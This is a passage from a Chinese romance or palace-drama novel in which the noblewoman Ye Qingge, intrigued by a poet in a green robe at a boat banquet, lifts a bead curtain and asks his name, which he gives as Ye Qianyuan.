要么就是像太子哥哥那样,把她当成一个不懂事的小妹妹。
从来没有一个人,像楼下那个青衫男子一样。
他明明是在赞美自己,可他的眼神,却那么平静,那么疏离。
他明明作出了如此惊才绝艳的诗,可他的脸上,却没有丝毫的得意和炫耀。
他就像一个遗世独立的谪仙,只是偶然路过人间,随手撒下了一片星辉。
叶清歌的心,没来由地,漏跳了一拍。
她感觉自己的脸颊,有些发烫。
“你……叫什么名字?”
她掀开珠帘,第一次,主动开口询问一个男人的名字。
珠帘掀开,露出了她那张娇俏而高傲的脸。在灯火的映照下,双颊微红,更添了几分动人的颜色。
画舫上的众人,都看呆了。
叶玄抬起头,迎上她的目光,不卑不亢地拱了拱手。
“在下,叶潜渊。”
叶潜渊……
叶清歌在心里,默默地念着这个名字。
她看着那个站在人群中,却仿佛与整个世界都格格不入的男人,心中,第一次,产生了一种名为“好奇”的情绪。
这个男人,到底是什么人?
他为什么会有如此才华?
他看着自己的时候,心里在想些什么?
无数个念头,在叶清歌的脑海中盘旋。
她突然觉得,今晚这场无聊的宴会,似乎变得……有意思起来了。